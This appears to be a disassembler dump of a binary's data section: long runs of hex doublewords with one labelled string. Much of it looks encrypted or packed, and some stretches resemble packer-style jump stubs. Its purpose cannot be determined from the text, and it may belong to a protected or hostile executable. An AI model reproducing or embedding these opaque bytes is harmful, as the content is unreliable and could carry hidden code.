		dd 72319D6Eh, 0CDD6226h, 2EF782A0h, 4F18A4C2h, 6D3EC5E3h
		dd 8550FC01h, 0D019C46Fh, 32E6F907h, 0D3CB9C24h, 0A07F48CDh
		dd 17E06AEEh, 0FE1209CCh, 9D2937ABh, 9CBADCD4h,	0F4BD4715h
		dd 565235A1h, 7FFFECFh,	6843AF80h, 0D611450Eh, 0E65A265Fh
		dd 877F50D8h, 0C2D7925Dh, 828FDC19h, 0DFAADC0Eh, 0D0193891h
		dd 3CC5761h, 0BEB60904h, 0F46031B8h, 7F7E4FD6h,	0E155235Ah
		dd 1C182516h, 5F6D9FDAh, 0F6FC09DAh, 7EDA1ADBh,	1F1EEF74h
		dd 2DD9D124h, 595CC920h, 3637D4C0h, 6222Fh, 0CC951E00h
		dd 0EBBC4260h, 8D9617Fh, 2BF47E9Ch, 4B1CA1BFh, 10D420DFh
		dd 304EBA8Bh, 5270DCA5h, 7391FDC6h, 0AAAF1BECh,	0C43D33FEh
		dd 0A7B5D019h, 0FECF5694h, 678D588Ah, 0FD61145h, 0C010F70Ah
		dd 9FF2FE15h, 0C8D6F2A7h, 75706F40h, 1FF0777Dh,	1D84A2ABh
		dd 8FE78593h, 0ECE43708h, 0CDCA8937h, 0EE04CF01h, 2CD61175h
		dd 0D6E3D9A2h, 8051D8DEh, 0D5A0D214h, 0D611759Fh, 66524A57h
		dd 5C39D36Dh, 7A8h, 0BA47F700h,	4A000001h, 11455F99h, 8B1590D6h
		dd 0B47D0917h, 98C2BAB5h, 1D25866h, 66BC0702h, 0F741B57Dh
		dd 0F78D5048h, 1DC199Fh, 0A59D6EF3h, 6A78ECF9h,	1B1615DEh
		dd 0B9C7F923h, 676D652Eh, 85A30FE0h, 92E2DFEh, 0C590049Ch
		dd 0DA1CBF52h, 0EDB6404Eh, 0A26BF6EEh, 0A1AB574Fh, 524D4C15h
		dd 0B631A8FFh, 1F20D4C0h, 53218h, 0BC850E00h, 0DBAC3250h
		dd 0F8C9516Fh, 1BE46E8Ch, 3B0C91AFh, 0C410CFh, 203EAA7Bh
		dd 4260CC95h, 6381EDB6h, 9A9F0BDCh, 0C7CD23EEh,	97A5D019h
		dd 35003284h, 0D611453Fh, 0ACB2AAB7h, 39555425h, 7D597630h
		dd 0E95D4BB6h, 1141D01Eh, 9B93A0D6h, 0C93D0E95h, 656435BBh
		dd 0FBD726Ah, 24AB5350h, 0E8E3E753h, 235C39E7h,	13h, 0E34772h
		dd 0DDEB0000h, 9D6C8F58h, 0FDAFFA33h, 32E7B2AAh, 0D2D19A24h
		dd 71ACDFD7h, 0F76833A7h, 6FDC19C2h, 6318D46Ah,	0EB3E83DBh
		dd 11E26977h, 2F0087A5h, 6920B30h, 8F31C792h, 0A4B1DA11h
		dd 0CA9B2230h, 1FEA1C5Eh, 0DA018ED1h, 0F2F1C247h, 0FCF401F7h
		dd 9F9E6FF6h, 4654037Ah, 93E1EEBFh, 9DA018Eh, 0BBB6B57Eh
		dd 0A6CC97C5h, 4EDA018Eh, 149EEE41h, 0B984F84Bh, 0D004852Eh
		dd 0FBC6F82Ah, 0C40291F5h, 0D63707Dh, 0E5C40291h, 87864FDBh
		dd 9541398Ch, 0AF35038Bh, 91E4DFDEh, 8F66E73Eh,	6869DAC8h
		dd 41E61h, 0D0992200h, 0EFC04664h, 0CDD6583h, 2FF882A0h
		dd 4F20A5C3h, 14D824E3h, 3452BE8Fh, 5674E0A9h, 779501CAh
		dd 0AEB31FF0h, 0C6393702h, 0ABB9D019h, 35003298h, 0D611453Fh
		dd 9DB2AAB7h, 0FEh, 24FC29A0h, 0C272E5B0h, 0DFECDC19h
		dd 0A52B396Bh, 0E2DAD5D4h, 188455DCh, 743DC8D6h, 1EEF767Ch
		dd 0F883FA1Fh, 0DB4FA273h, 11BC7A10h, 65F0FADAh, 52A29D9Ch
		dd 35A9FCCDh, 0A270F503h, 0F8F74A1Bh, 78FF05FDh, 0A02533A7h
		dd 73B5D7CFh, 0B9787641h, 0EBF8DA01h, 9D66EDF3h, 83161407h
		dd 32318439h, 9408900Dh, 48F3EC9h, 54ABB8D0h, 0DAC886C9h
		dd 68D8DFE0h, 0D8000003h, 0FC1A864Fh, 1B39A576h, 3856C293h
		dd 5B79E5AEh, 0DA9905D6h, 7445CA8Eh, 965FEA08h,	0B7800C2Ah
		dd 0D5A62D4Bh, 0EDB86469h, 0D019C187h, 564E616Fh, 7FFFECFh
		dd 2B0AF80h, 8D5EE6F4h,	0C09B938Eh, 0C3941BC3h,	80071557h
		dd 0CBB7AFh, 0B5C39E3h,	32h, 24FC295Ah,	4D16A2B0h, 315B534Eh
		dd 14929566h, 0CC404DDCh, 0F96536BEh, 1208D51Eh, 0EBBC43D0h
		dd 8D9617Fh, 57DFED09h,	948C8786h, 2E27Fh, 0CA568200h
		dd 830A0201h, 0A12846B2h, 0C74E5CD0h, 0D04F7F6h, 60461AA0h
		dd 49FEF649h, 7D01CA51h, 84FB24F9h, 0D6218DE0h,	2B5DD1AFh
		dd 0E204F522h, 261EDA39h, 14CE2C63h, 0BAB9C6DCh, 12CCEB05h
		dd 0DAD750D0h, 3A6E874Ch, 2E8E5Ah, 29DD0000h, 0E5B024FCh
		dd 0DC1468C2h, 121B8F9Ch, 34A01497h, 661B1315h
		dd 129847B1h, 2634FCD0h, 0DBD39Ch, 3E7E7503h, 0EBB55A3Ah
		dd 4000000h, 7B01CF56h,	585728ADh, 0B8B70A5Dh, 6B6A3BC0h
		dd 0ECB5414Fh, 0F4FAF2EDh, 1F289C6Dh, 97AE02A3h, 0E3989052h
		dd 279364EBh, 11B02F4Ch, 15E66DD6h, 33048BA9h, 0A960F34h
		dd 5B996496h, 1BD611B8h, 0BAEC160Eh, 555425ACh,	1C9F625Ah
		dd 0D8DC14B1h, 4195DBA6h, 14DFD015h, 0D01541DEh, 86938996h
		dd 69D5E28Eh, 0A519E71Eh, 403F1097h, 0ED752E4Dh, 0DF32F93Bh
		dd 9EF2BDE7h, 96DA1278h, 82071589h, 0FA0345B1h,	0DDB9A2DEh
		dd 32400B52h, 0C2DA1BB2h, 646A62B5h, 506E16DFh,	0B9C45261h
		dd 0C17A0F66h, 0A4A5D4BEh, 1BE9Dh, 30F98200h, 4F20A6C4h
		dd 6C3DC5E3h, 8F58E200h, 0AF800523h, 74388443h,	94B21EEFh
		dd 0B6D44009h, 0D7F5612Ah, 0E137F50h, 0C3599762h, 0B19D019h
		dd 0D156F8h, 21EF7694h,	478CB9Ch, 0A79F70F6h, 0FC29A285h
		dd 0C2E5B024h, 9CDC1468h, 91DB908Fh, 26D01266h,	0A922B0ADh
		dd 645A3AC0h, 0BBh, 0FECF56B3h,	0B18207FFh, 49FEFDB2h
		dd 971ED611h, 0B53C5AC6h, 41FAF8C3h, 9620D611h,	77CAD7CDh
		dd 4E2A5378h, 48AC0FDAh, 0B9C6DC14h, 0FD9B024Dh, 28F67B89h
		dd 877FD2A3h, 0FB9F925Dh, 4B59DA15h, 5400F8C1h,	6FA1D347h
		dd 19FA4EA4h, 2DF826DAh, 0DA19FAC7h, 574FA2AFh,	8FFBCC51h
		dd 0E7B83F4Dh, 9364E9EFh, 0BD7A9D3Ch, 0D4DBDCD4h, 0EFh
		dd 93FFC851h, 0B21EEF75h, 0CF3B0C94h, 0F25E27B1h, 127E4FD4h
		dd 0BE430753h, 0D86381EDh, 0F985A30Fh, 1FA6C430h, 31DDE24Eh
		dd 19C30866h, 0C7DAE8D0h, 0CB9C2432h, 7F48CDD3h, 0D56103BBh
		dd 6B6AC10Ch, 0D4F25EB1h, 2CF57F4Dh, 328A6DD9h,	453F3500h
		dd 0AAB7D611h, 5425ACB2h, 5D65D55h, 51D74E99h, 4C3A69EBh
		dd 6D3EC6FAh, 4553C71Ah, 0CFF9F1BAh, 19521B04h,	0AB8C95DCh
		dd 0ADB636Ch, 0F21517BFh, 42414EFAh, 86F2C34Ah,	24EFE168h
		dd 0D0189ACEh, 474699A6h, 5A0CB292h, 100D6812h,	0A410E168h
		dd 2F2EFF86h, 0AF800513h, 6127B1B7h, 130E0DD6h,	0C4A3C1C0h
		dd 63EDFBC7h, 0A8A09B9Ah, 0D64A1BA2h, 289BD9A4h, 4E5B925Dh
		dd 0C0F23456h, 5D28FFF5h, 726A7792h, 1514E56Ch,	120Eh
		dd 0B580B200h, 925D28BFh, 0D6A72D37h, 9189DCD7h, 563D54C6h
		dd 0D0504CDh, 0BEB6B586h, 726A6932h, 271F1EE7h,	0DAD2D1A2h
		dd 8D858455h, 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh,	763268h
		dd 243C8900h, 4EC81h, 4890000h,	0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 57241C89h, 87DF4BFh, 8BF88906h, 0C481243Ch
		dd 4, 318368h, 24248900h, 4240483h, 4EC815Bh, 89000000h
		dd 438F2404h, 241C8B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 582434FFh, 0E904C483h, 0FFFAF5A1h, 4B24910Ah, 880FB88Bh
		dd 0C5030608h, 0E024E0FFh, 0D6F35BA4h, 5A682CE5h, 0D6A75752h
		dd 11E830D4h, 0EE000000h, 0AC2F6C0Ah, 1E21D045h, 0BE86A016h
		dd 0A8CB54EFh, 7E9h, 855C3E00h,	76E22D69h, 0C281F95Ah
		dd 6056h, 0EE9h, 54EB4500h, 0E1B86A7h, 0FCAF6546h, 2BC088CAh
		dd 1B866FFh, 3A348B88h,	0D2F681F8h, 8B57673Ah, 84C681C8h
		dd 0E91143EBh, 6, 7540B26h, 0C68177C4h,	0B1E7C39h, 7E860h
		dd 9A2E0000h, 44357E45h, 6E85AF3h, 8D000000h, 4D0CDD1Fh
		dd 0D9BF0F74h, 0E956615Eh, 6, 876F5EB3h, 48FC3A7h, 0AE9F93Ah
		dd 75000000h, 2B49C7A2h, 500A5ACDh, 0F6EF810Dh,	0B809B765h
		dd 17C58BE4h, 65F2C781h, 0D88009B7h, 74FF81D8h,	0FFFFFA0h
		dd 0FFFF8085h, 0BE9FFh,	0BC4A0000h, 51A077CCh, 909A6B59h
		dd 688D8D05h, 5106088Ah, 8D895FFCh, 60320A5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C6C35040h, 0EE36C38Fh
		dd 575B468Ch, 9D8B52B4h, 6030FC1h, 0C7F1B05Eh, 31A6585h
		dd 67C006h, 0CA9CBA00h,	85C745D1h, 6030071h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CC35747h
		dd 0DE8166B9h, 7E9A953h, 0C000000h, 0DD71C78h, 0B5FF7004h
		dd 6032391h, 0B958589h,	0EA800603h, 1D95FFB2h, 6A060317h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 6420C355h, 0E8806E40h, 8,	528BE543h, 82DE7EACh
		dd 10E957h, 68750000h, 0AFBE4649h, 9E73687Fh, 1BF1A4C6h
		dd 585A44D3h, 238BD881h, 8B0F5AD8h, 6, 0F498589h, 6A0603h
		dd 23A595FFh, 0C08B0603h, 0B5742AEBh, 2D3A7344h, 6D64EBF5h
		dd 725AA548h, 7769AF18h, 8BC15997h, 0B2B66E9Eh,	0E89B9283h
		dd 0BDB643CEh, 60767591h, 123F88BFh, 27CE08EBh,	339C1DA8h
		dd 8BE977E7h, 6800000Dh, 6088C1Dh, 0FAF370E9h, 8D4268FFh
		dd 66E90608h, 68FFFAF3h, 6088ECBh, 0FAF35CE9h, 900468FFh
		dd 52E90608h, 68FFFAF3h, 608918Fh, 0FAF348E9h, 943468FFh
		dd 3EE90608h, 68FFFAF3h, 6089595h, 0FAF334E9h, 96BD68FFh
		dd 2AE90608h, 4CFFFAF3h, 708EFAC3h, 8FAD19EAh, 0ACCA3607h
		dd 0CFED5922h, 4E0D794Ah, 0E8B93E02h, 0AD35E7Ch, 2BF4809Eh
		dd 491AA1BFh, 612CD8DDh, 0D019CF13h, 56C2D5E3h,	0AC7501CFh
		dd 0DB625A59h, 2A539E0Ah, 9AA8DA4Eh, 8B4E460Fh,	0DC144A44h
		dd 2DE2E1EEh, 0D01240C3h, 7402FF78h, 5A3AE27Fh,	38B6h
		dd 0AB9DA600h, 3287AA2Ch, 29C59088h, 0D29B27FCh, 8750DBD3h
		dd 0E73A8D88h, 6807A873h, 525FDC14h, 66549E53h,	70E9D012h
		dd 0C0EEE573h, 28365A3Ah, 0A2DDD59Eh, 0EAh, 0FECF56F1h
		dd 0B18207FFh, 6533BAB2h, 0B6870FDDh, 6A69BCB7h, 456D834Eh
		dd 0F805D611h, 5B5352A5h, 5D8F03D4h, 11455C92h,	0BC0714D6h
		dd 0E7B7A358h, 82A22B4h, 1117F22Dh, 0CA9B22D6h,	860E1C5Eh
		dd 30B7BDB5h, 0C23B605Fh, 8DE0B139h, 3DC94E19h,	5F69DC14h
		dd 0B5860BD9h, 15686362h, 3B0C93A1h, 0AFD62143h, 0C54F5DD1h
		dd 0A02FDFCh, 861415E0h, 4552DA15h, 9ED49FD1h, 56DA1877h
		dd 19275149h, 3957C394h, 318CE3B4h, 0E8D4BDF9h,	0B4CE0E7h
		dd 0EA730000h, 1197B521h, 2EB6D440h, 49D3F15Dh,	71F61480h
		dd 297534A0h, 0A30FE065h, 0C531FA85h, 0E6521BA7h, 47041C8h
		dd 6A8853FFh, 0AD019C9h, 0D156E9FCh, 20529400h,	45CD23EEh
		dd 98A5D611h, 1145658Bh, 8C000DD6h, 1145B3C1h, 3E3643D6h
		dd 6CE0B138h, 0E06D75Eh, 293209ECh, 47A7D7Bh, 0E0130BB6h
		dd 9C67DBA5h, 0DC14481Bh, 0C0364E53h, 277060F9h, 2F824BD7h
		dd 5922ADBBh, 0B2675F5Ah, 30018896h, 1F7B7538h,	47C0D012h
		dd 0B937BC4Ah, 0C9FE5A3Ah, 4D000000h, 0CE9F2432h, 0D6DCD4CFh
		dd 602B5D4Fh, 0D6114512h, 0AAC8D5E2h, 4AD61145h, 0F3EBEA3Dh
		dd 829E9D6Eh, 9B10A79h,	28204469h, 11CC3A65h, 2D35AD6h
		dd 23F17896h, 8CE2AD97h, 64D611CEh, 0B2B10457h,	1488108Dh
		dd 14D4C249h, 0E35764DCh, 847C4DD5h, 12EE1762h,	0D85E6C9Eh
		dd 150D0807h, 1552C652h, 0E8747EDAh, 0CAC99A22h, 827D7CCFh
		dd 28ADBB2Fh, 706CF5Ah,	3C45B90Ch, 37DC8A3Fh, 2241C3Ah
		dd 378E5FE4h, 0D4BE56D2h, 27959C9Dh, 9800000Ah,	0BCDA460Fh
		dd 0DBF96536h, 0F8168253h, 1B39A56Eh, 9A59C596h, 34058A4Eh
		dd 561FAAC8h, 7740CCEAh, 9566ED0Bh, 0AD782429h,	0D019C847h
		dd 560E212Fh, 769400D1h, 0CFB21EEFh, 7901CF56h,	5BAEA9A8h
		dd 0CDD645Ch, 502855A0h, 621E11DCh, 0B18DC14h, 32038997h
		dd 8E8D56E2h, 31E69B93h, 0D0125BC6h, 302CB56h, 0B8B7800Bh
		dd 0FEA9A6AFh, 0D15F5CD5h, 5A3AF81Ah, 6F011h, 0C1CF0100h
		dd 115F6C35h, 0E1D01252h, 2911DCD4h, 0E5B024FCh, 0DC146506h
		dd 0BBCA5962h, 0CCD0249h, 6961B485h, 0FCB1B0BDh, 0D0123AF2h
		dd 43D1CE47h, 5A3A9888h, 6B883h, 76417300h, 0D0123278h
		dd 28F3EBF8h, 0B024FC29h, 1460DAE5h, 0DBE416DCh, 0EDDC027Dh
		dd 1F55629Dh, 0D7D01200h, 2126D2CAh, 0FAD3BDCCh, 76EA3D36h
		dd 0FA7B7944h, 0B27DD012h, 0D012FABCh, 24312734h, 0FA8FE5B0h
		dd 5A67D012h, 5F91AD62h, 12FA5E94h, 110916D0h, 12FA244Eh
		dd 232099D0h, 3A585E95h, 653D55Ah, 0BCC50000h, 348D368Eh
		dd 3803FBE3h, 3F350032h, 0B7D61145h, 2869B2AAh,	0BA2ECA33h
		dd 146064EFh, 7C040EDCh, 55CF4AB3h, 7FD2B64Bh, 0AD358580h
		dd 9F5989DCh, 0DF95F096h, 0EAE26467h, 2581D427h, 29E0764h
		dd 5088C38Eh, 15224E0Dh, 0ECB4F116h, 6563AD78h,	0FE0B4408h
		dd 24F57C8Ah, 21139AB8h, 0E111856h, 78CBD848h, 0D41AB221h
		dd 89909166h, 89Eh, 63CF9821h, 82EEBF45h, 9F0BDC64h, 0C22EF781h
		dd 0E24E1FA4h, 8E13D723h, 0A83351BDh, 0C95573DFh, 0EF769400h
		dd 1ADB21Eh, 19CB3836h,	97AAB8D0h, 57352932h, 0E2382D3Ch
		dd 8C5DE4EAh, 0B7800A18h, 10C5BDB8h, 72E6B2EBh,	193DA0A7h
		dd 49B5C2DCh, 1838546Eh, 4741BFD0h, 4183EFC0h, 0F0BBAD33h
		dd 0D0183882h, 13126572h, 743DC818h, 4F827A75h,	10DB4FDBh
		dd 0D018389Ah, 968E8D9Ah, 0F7D23E0Fh, 0D018388Dh, 1B29FE07h
		dd 0A8E7DFF6h, 551EAAB0h, 7A4BD3E1h, 6688807Bh,	6EF3C148h
		dd 0F8C14D9Dh, 37ABFEF9h, 48CA6E2Eh, 1844777Dh,	0A7F2FFD0h
		dd 2A220027h, 0FFB6C075h, 0CAD3D018h, 64F801CDh, 0FA4B2B69h
		dd 0B940463Eh, 409364EBh, 0F88492D4h, 3D35302Fh, 6BDFB037h
		dd 0A09D25Dh, 0AD62170Fh, 0D0186543h, 27CFCCABh, 8DE3AEA0h
		dd 65D01805h, 6C990558h, 11Bh, 0FECF566Fh, 47DAE3FFh, 29AAD084h
		dd 0E7737971h, 129CAA1Eh, 632E4A49h, 0D611E40Dh, 8D85D8E5h
		dd 0E4CD23D8h, 0C44BD611h, 56CFF4F3h, 8C8B56CAh, 0A6DC196Eh
		dd 0F1C94299h, 0BBBCCEBDh, 765B4h, 8D15A00h, 27F87E9Ch
		dd 44159DBBh, 6730BAD8h, 8758DDFBh, 4C105C1Bh, 6C8AF6C7h
		dd 8EAC18E1h, 0AFCD3902h, 0E6EB5728h, 0D5016F3Ah, 0E3F1D019h
		dd 0FECF56D0h, 0B18207FFh, 0DA9B2745h, 254370D4h, 6EE6F448h
		dd 3138226Dh, 4A58CC1Fh, 0F8F3F2C3h, 8E9CDE00h,	473A3902h
		dd 643A7CCh, 0BEB6098Bh, 0DB6331B8h, 0BD100B0Ah, 0DDAE3351h
		dd 9061E6DEh, 0BA830E1Ch, 3475C0BBh, 73A64391h,	0EBC7169h
		dd 25AA524Fh, 0EFE4E854h, 265C395Dh, 0Eh, 0B37C0816h, 0F6C1B9B4h
		dd 9347h, 0CF564A00h, 0DAE3FFFEh, 0E4114706h, 0E8ABA32Ah
		dd 0D611F18Eh, 0BFAFB8E6h, 6EBEC26Fh, 918E6961h, 0A9462E9h
		dd 4087F149h, 558D5B3h,	9C2846B2h, 0D41FD4D3h, 5AD6113Dh
		dd 0D25E0603h, 56BA9D09h, 0A0201CAh, 5F30B87Eh,	45D220EBh
		dd 95A2D611h, 0C44B4342h, 74FCF4F3h, 0B8B1A4A3h, 8DF6C744h
		dd 0CAC7D031h, 5D5A191Fh, 0F46029B5h, 0BA47A9B2h, 7647B14Eh
		dd 0C1CBBB7Eh, 0FAC5D611h, 0D611D1F4h, 0E61C6F7Ch, 5C3973ECh
		dd 0FFFE9825h, 7A4774FFh, 4A000003h, 0FFFECF56h, 1145504Ah
		dd 28F97ED6h, 0D9AA3129h, 0F13DFE89h, 0AA802007h, 17353487h
		dd 80903B38h, 0A930D8D5h, 0C74E6CD8h, 5842F7F6h, 76D61161h
		dd 0FA1F1EEFh, 0A172F883h, 0E054A7A2h, 43B17CAEh, 33D61161h
		dd 0EC6B2E26h, 86DC19EBh, 0D124F57Ch, 0BD74F77Ah, 0F6FDFECEh
		dd 5DAh, 27935CE5h, 46B28309h, 63CFA028h, 86F2BB45h, 0A612E368h
		dd 52D79BE7h, 6CF71581h, 8D1937A3h, 0B33A58C4h,	0C57176E2h
		dd 19D4F4FAh, 5B6E7CD0h, 0FFFECF56h, 3DB18207h
		dd 4532400Bh, 0B8C2D611h, 170F6233h, 7F50D7F5h,	9F70F513h
		dd 8D7B84A0h, 34FD8729h, 0CC1E5DE9h, 3028F17Ch,	51D7A52Ah
		dd 3B868180h, 8ACCE84Dh, 2F2E81E8h, 1DC5C281h, 575BC798h
		dd 5C39C59Ch, 1D4B9FA8h, 0F80C622Dh, 0D7E4D611h, 2B3B648Ch
		dd 28FF833h, 0DAE80000h, 8C87864Fh, 0F129C994h,	65752A29h
		dd 0AED50044h, 21AA3835h, 0ECA2D718h, 271h, 9B29323Bh
		dd 4DA69A14h, 0A7EB1A9h, 2D2CF581h, 0FDAD123Ah,	26798A92h
		dd 5E945FD3h, 16D61105h, 0CD98820Ch, 0D61105A7h, 0F0EF424Fh
		dd 0EEA3A2F5h, 0D500049Ah, 23B1AE27h, 0A2D6D8A8h, 79774274h
		dd 0F928FE72h, 26B9F4ECh, 8000002h, 3F350032h, 62D61145h
		dd 9A1BA10Ch, 6A776D8Fh, 42CB3F72h, 0F4EFEEB7h,	9A1F2DA1h
		dd 897DDA8h, 525FD611h,	0D0500FFh, 8A618E3h, 1220D611h
		dd 0C3BEBD86h, 13121FCBh, 90A5Eh, 211E97D5h, 0D6AB5893h
		dd 1DBD3A2h, 29220000h,	83B529F1h, 45688651h, 0BDB3D611h
		dd 3CC8CC69h, 443C493Fh, 11880B81h, 0FFFE0BD6h,	893E4Ah
		dd 89BB83D5h, 0FE89B0BEh, 3B334028h, 1ED56360h,	15A2D62Bh
		dd 1A1h, 0FECF5664h, 0AF8007FFh, 0F38DF843h, 1CE5717Fh
		dd 2A221Dh, 3567C5CEh, 0BB1F4CB6h, 9FD300C3h, 5663DC14h
		dd 93B57h, 0CB53BEEh, 0E80613E8h, 0AD01227h, 1227313Fh
		dd 0BEB4C1D0h, 0AB1A64B9h, 1A6D1A7Ah, 94155F22h, 0E2AAD012h
		dd 7F7E4FD4h, 0B4B18C84h, 0B984B6E8h, 0D01294BBh, 0D3212E3Bh
		dd 49D01294h, 0F0FDF3C4h, 36C70CF8h, 515F5A3Ah,	4FFFEC7h
		dd 54D10Ch, 29200000h, 3A3803FCh, 0BAD61145h, 1BE65AADh
		dd 0DC146898h, 9BD9A4D2h, 1D01261h, 0ABB8AE77h,	56DBE458h
		dd 0C44CC180h, 21ED3CBh, 189E6CF4h, 0FA4D4847h,	0C3353F02h
		dd 0C28AD012h, 5D5C2DB4h
aJ_eKRnxDgZo	db 'j_k/g:Zo',0 ; DATA XREF: ___:off_43BFBCo
		align 4
		dd 0CF56BE00h, 0F47C8AFEh, 7ACD9E26h, 0D388807Bh, 868556DBh
		dd 3736078Eh, 7BE7B83Fh, 114A67A0h, 3D0E95D6h, 811F86D1h
		dd 4767040Dh, 4E4B4934h, 0D4E10FDAh, 8491D611h,	197628Ch
		dd 41DC1669h, 12A4813h,	0BDCAD017h, 63E8F66Ah, 83082692h
		dd 0ACE5BB2h, 0E8E9CEBBh, 335E1h, 38018A00h, 5728AECCh
		dd 7445CDEBh, 9760EA08h, 0B7880D2Bh, 7C408C4Bh,	9CBA26F7h
		dd 0BEDC4811h, 0DFFD6932h, 161B8758h, 0D1519F6Ah, 1321D019h
		dd 9C243200h, 0D9D1CCCBh, 117D4ED3h, 2F9B6CF3h,	0DDCF564Ch
		dd 74D5A7D4h, 0CCD9F352h, 0D611FCA6h, 0EFEE414Eh, 339F70F7h
		dd 11FC1F58h, 5C2759D6h, 0D611FC16h, 0A6D9D1DEh, 622DA17Fh
		dd 0DC14DF35h, 0C99A212Fh, 0AC1825D1h, 6CF56C9h, 0CBAC24E3h
		dd 0F96DC0D1h, 0BFF6FCC7h, 9D24D611h, 0D1C9D6CCh, 68F7001Ch
		dd 0C33727F8h, 8BDEAF35h, 35068D93h, 0F27987C9h, 2F272221h
		dd 83F781FCh, 14C19BB8h, 0A06B9DDCh, 0D012D552h, 7B7142C8h
		dd 0BDCA766Eh, 0C94A2BEh, 49413C3Bh, 12D56C86h,	5B58D1D0h
		dd 3A7706CDh, 300D5Ah, 295C0000h, 0E5B024FCh, 0DC1468C2h
		dd 0DB908F9Ch, 0D0126691h, 0CB505E26h, 800FBFAh, 29A2302Dh
		dd 0E45A3AC0h, 0B1h, 79E7CBD4h,	0E2F4DD32h, 0CF561FEAh
		dd 28586706h, 0DB2E7139h, 8E5FE4DCh, 3F10978Fh,	0F0C14840h
		dd 9CC1737Ch, 0FA7B3D50h, 0DA05E002h, 0FAD61149h, 1836A273h
		dd 9CC1C091h, 58239761h, 0DC144457h, 4B96020Fh,	7D246D2h
		dd 0DA15F48Bh, 1C2A9EABh, 3C5AC697h, 0F88FE6B7h, 27D4BD8Bh
		dd 1D41F26h, 62EB0000h,	890F2D99h, 0A62E4CB8h, 0C14B69D5h
		dd 0E96E8CF8h, 0A1EDAC18h, 1B8758DDh, 3DA972FDh, 5ECA931Fh
		dd 7CE8B940h, 0F200CB77h, 82D019D0h, 0D1566174h, 0B1B07903h
		dd 6BFF6BB6h, 0FB8E147Ah, 971E3CA8h, 0BF4452C6h, 45169EEEh
		dd 31534B46h, 24FC294Eh, 0E025A7B0h, 0A7D0A02Ch, 0F9BA85AFh
		dd 71DC1412h, 46B06564h, 0FBD012D8h, 0FCF78582h, 485A3A7Eh
		dd 0E2E1B23Ah, 0E9B4EFE7h, 3000000h, 1706CF56h,	9E11894h
		dd 789493E6h, 28F3E56Ah, 0D61184CAh, 4B4A9DAAh,	0CD525850h
		dd 0A9A879FFh, 84ACC28Dh, 3744D611h, 4FA570E4h,	27D61184h
		dd 0ACC8C71Ah, 5048199Eh, 118B528Dh, 2AFB82D6h,	9B737CBEh
		dd 2723A6F1h, 9F262C24h, 73AACFCEh, 0FF5223A8h,	2AF37D8Bh
		dd 54E0302Bh, 9E69938Bh, 0DC14EB1Dh, 0F3C44B55h, 32A6F9F4h
		dd 0E5B09A24h, 0D012EB8Fh, 8075A67h, 0A8F3150Dh, 642FA37Dh
		dd 0DA1559CDh, 0F6289CA9h, 0A36E60E8h, 0DA18254Dh, 0CDC51825h
		dd 57142C7h, 0C9462E7h,	0F091E83Bh, 33D4BE26h, 0AC2B32h
		dd 8A130000h, 0B13755C1h, 0CE5674E0h, 0E97391FDh, 1196B420h
		dd 0C915D440h, 43AF8005h, 65D19A25h, 86F2BB47h,	0A410E168h
		dd 0CA28F39Fh, 0AAD019D3h, 0D156899Ch, 0EF769400h, 6270B21Eh
		dd 461109DAh, 0FFFECF56h, 43AF8007h, 7FF38DF8h,	19CF53B4h
		dd 0A5444DDCh, 0DC15722Fh, 4BC02EF9h, 0A3B0D019h, 9FAC5850h
		dd 5021A8A0h, 7748CEDCh, 63857D78h, 79EDBE45h, 0ECA66770h
		dd 0EFE79F60h, 4F9B853Ah, 0F651F7BAh, 0F9CA51F9h, 0B63D4B8Dh
		dd 60E7EDE5h, 0E98908Fh, 49284645h, 4C1DA44Ch, 6A3BC2E0h
		dd 8646Bh, 32670000h, 0D3CB9C24h, 0CD56B4CBh, 860D0504h
		dd 32BEB6B5h, 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h
		dd 0BB433B3Ah, 6DF3EBEAh, 576F9D9Ch, 0C781E789h, 4, 3304EF83h
		dd 3C31243Ch, 243C3324h, 4EC815Ch, 89000000h, 0CC682434h
		dd 89000079h, 0B951242Ch, 4DB129B8h, 14BFE981h,	0BA522011h
		dd 7DAD13F2h, 406AF281h, 0D1096634h, 0DCF1815Ah, 81745B16h
		dd 0EACBD3F1h, 59CE894Dh, 8904EC83h, 4812424h, 424h, 0BB535D00h
		dd 8, 3389EB01h, 83241C8Bh, 2C8B04C4h, 0E1895124h, 4C181h
		dd 0C1830000h, 240C8704h, 24348B5Ch, 81E78957h,	4C7h, 4C78100h
		dd 87000000h, 0E95C243Ch, 0FFFAE5F5h, 87B9AE32h, 8EB8F701h
		dd 3060897h, 76E0FFC5h,	5F1CD0F1h, 0A405A384h, 0B8010B52h
		dd 0DF69671Dh, 84623EBEh, 745BE5F2h, 0BD2FE931h, 5747F7A8h
		dd 8D495E07h, 898F78Dh,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 9D2AADCFh, 7251EB30h
		dd 0A58D89FCh, 6A060320h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0F185C352h,	0FA84A50Ah
		dd 0C73D1C7Eh, 31A6585h, 6B8C06h, 0B58B5200h, 6031A95h
		dd 7185C75Fh, 60300h, 66000000h, 9AD9C281h, 1CA9B5FFh
		dd 8E0F0603h, 6, 2569B529h, 95FF0603h, 603171Dh, 0C0EE8166h
		dd 0FF006A8Ah, 323A595h, 0EBC08B06h, 16B0B00Ch,	0C9482112h
		dd 954DDFB7h, 15CE9B6h,	1FBB0000h, 4B81F2FDh, 589194E5h
		dd 562B08F7h, 56F051FCh, 589708FFh, 719D51F4h, 248F38DFh
		dd 25A3518Dh, 7939C6ADh, 0B6BD6219h, 149750CAh,	159F51BBh
		dd 14DB51BBh, 14E951BBh, 14F651BBh, 147B51BBh, 149251BBh
		dd 14DE51BBh, 146751BBh, 14B751BBh, 6D8851BBh, 798825C8h
		dd 66A671BBh, 671E32D4h, 14BD0CC8h, 14DE51BBh, 146F51BBh
		dd 14B751BBh, 14DB51BBh, 14ED51BBh, 14F651BBh, 147B51BBh
		dd 14BD51BBh, 14DE51BBh, 146F51BBh, 14B751BBh, 14DB51BBh
		dd 14ED51BBh, 14F651BBh, 147B51BBh, 14BD51BBh, 14DE51BBh
